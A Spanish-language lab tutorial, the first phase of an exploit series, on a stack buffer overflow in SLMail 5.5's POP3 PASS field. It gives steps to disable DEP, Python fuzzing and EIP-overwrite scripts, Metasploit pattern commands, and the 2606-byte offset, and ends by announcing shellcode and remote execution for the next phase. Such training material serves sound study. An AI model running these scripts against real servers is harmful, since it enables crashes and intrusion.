Abre Immunity Debugger y en la consola inferior escribe !mona — debe mostrar el menú de ayuda.
2️⃣ Deshabilitar DEP (Data Execution Prevention)
DEP es una protección que impide ejecutar código en zonas de memoria no designadas (como el stack). Para un buffer overflow funcional, debemos deshabilitarlo.
Pasos en Windows 7:
Panel de Control → Sistema y Seguridad → Sistema
Configuración avanzada del sistema
Pestaña Opciones avanzadas
Botón Configuración (bajo “Rendimiento”)
Pestaña Prevención de ejecución de datos (DEP)
Selecciona: Desactivar DEP solo para programas y servicios esenciales de Windows
Reinicia el sistema
flowchart TD
A["Panel de Control"] --> B["Sistema y Seguridad"]
B --> C["Sistema"]
C --> D["Config. Avanzada"]
D --> E["Opciones Avanzadas"]
E --> F["Rendimiento → Configuración"]
F --> G["Pestaña DEP"]
G --> H["Deshabilitar DEP"]
H --> I["Reiniciar"]
DEP y ejecución de shellcode
Sin deshabilitar DEP, el shellcode almacenado en el stack será bloqueado y el programa terminará sin ejecutar nuestro código malicioso.
Verificar que el servicio es vulnerable a buffer overflow
Encontrar el offset exacto para sobrescribir el registro EIP
Demostrar control del flujo de ejecución
📊 ¿Qué es el registro EIP?
Característica
Descripción
Nombre
Extended Instruction Pointer
Función
Almacena la dirección de memoria de la siguiente instrucción a ejecutar
Tamaño
4 bytes (32-bit)
Importancia
Si lo controlamos, redirigimos la ejecución a donde queramos
Buffer Overflow
Cuando escribimos más datos de los que el buffer puede almacenar, sobrescribimos memoria adyacente, incluyendo el EIP. Si llenamos esa región con direcciones controladas, ejecutamos código malicioso.
🔍 Paso 1: Fuzzing básico (5000 bytes)
Crearemos un script Python que envía 5000 letras ‘A’ al campo PASS de SLMail:
import socketimport sysIP_ADDRESS = "192.168.1.5" # IP de la víctimaPORT = 110 # Puerto POP3 de SLMailBUFFER_LENGTH = 5000 # Tamaño del buffer de pruebadef exploit(ip, port, length): """ Script de fuzzing para SLMail 5.5 Envía datos excesivos al campo PASS para provocar crash """ try: # Crear socket TCP s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) # Recibir banner del servidor banner = s.recv(1024) print(f"[+] Banner recibido: {banner.decode()}") # Enviar comando USER s.send(b"USER test\r\n") response = s.recv(1024) print(f"[+] Respuesta USER: {response.decode()}") # Enviar comando PASS con buffer overflow payload = b"PASS " + b"A" * length + b"\r\n" print(f"[! ] Enviando {length} bytes al campo PASS...") s.send(payload) # Cerrar conexión s.close() print("[+] Payload enviado. Verifica el crash en Immunity Debugger.") except Exception as e: print(f"[-] Error: {e}")if __name__ == '__main__': if len(sys.argv) > 1: IP_ADDRESS = sys.argv[1] if len(sys.argv) > 2: BUFFER_LENGTH = int(sys. argv[2]) print(f"\n[*] Fuzzing SLMail en {IP_ADDRESS}:{PORT}") print(f"[*] Tamaño del buffer: {BUFFER_LENGTH} bytes\n") exploit(IP_ADDRESS, PORT, BUFFER_LENGTH)
Ejecución:
python fuzzing_slmail.py 192.168.1.5 5000
Resultado esperado:
El registro EIP mostrará 41414141 (representación hexadecimal de “AAAA”). Esto demuestra que:
✅ El servicio es vulnerable a buffer overflow
✅ Podemos sobrescribir el EIP
✅ Podemos redirigir el flujo de ejecución
🧩 Paso 2: Encontrar el offset exacto
El problema ahora es: ¿A cuántos bytes llegamos al EIP?
Usar 5000 As es ineficiente. Necesitamos calcular el offset exacto.
✅ Resultado: Se necesitan 2606 bytes para llegar al EIP.
🎯 Paso 3: Demostrar control total del EIP
Ahora sabemos el offset. Enviamos:
2606 As (para llenar el buffer y llegar al EIP)
4 Bs (para sobrescribir el EIP con 0x42424242)
import socketIP_ADDRESS = "192.168.1.5"PORT = 110OFFSET = 2606 # Bytes hasta el EIPBEFORE_EIP = b"A" * OFFSETEIP = b"B" * 4 # 4 bytes para sobrescribir el registro EIPPAYLOAD = BEFORE_EIP + EIPdef exploit(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP_ADDRESS, PORT)) banner = s.recv(1024) print(f"[+] Conectado: {banner.decode().strip()}") # Enviar USER s.send(b"USER test\r\n") s.recv(1024) # Enviar PASS con payload print(f"[!] Enviando payload...") print(f" - {OFFSET} bytes (A) hasta EIP") print(f" - 4 bytes (B) para EIP = 0x42424242") s.send(b"PASS " + PAYLOAD + b"\r\n") s.close() print("[✓] Payload enviado correctamente") print("[*] EIP debe mostrar: 0x42424242 en Immunity Debugger") except Exception as e: print(f"[-] Error: {e}")if __name__ == '__main__': print(f"\n[*] Explotando SLMail en {IP_ADDRESS}:{PORT}\n") exploit()
Ejecución:
python control_eip.py
En Immunity Debugger - Resultado esperado:
Registro
Valor
Representación
EIP
0x42424242
BBBB
ESP
Dirección dinámica
Apunta a C’s (espacio para shellcode)
EIP = 0x42424242 ✓ Control total del flujo de ejecución
📊 Diagrama del Buffer Overflow
graph LR
A["Buffer<br/>2606 bytes"] -->|OVERFLOW| B["EIP<br/>4 bytes<br/>0x42424242"]
B -->|JUMP| C["Shellcode<br/>en stack"]
C -->|EJECUTA| D["Código malicioso"]
style A fill:#ffcccc
style B fill:#ff6666
style C fill:#ffff99
style D fill:#99ff99
💡 Conceptos clave
Registros en x86 (32-bit)
EIP (Instruction Pointer): Próxima instrucción a ejecutar
# Generar patrón de 5000 bytes/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5000# Encontrar offset de un valor EIP/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x39654138# Conectar a SLMail por telnettelnet 192.168.1.5 110
Conclusión de la Fase 1
✅ Entorno de laboratorio configurado
✅ Vulnerabilidad de buffer overflow confirmada
✅ Control del registro EIP demostrado
✅ Offset exacto calculado (2606 bytes)
Estado: Listo para la Fase 2 - Shellcode y ejecución remota
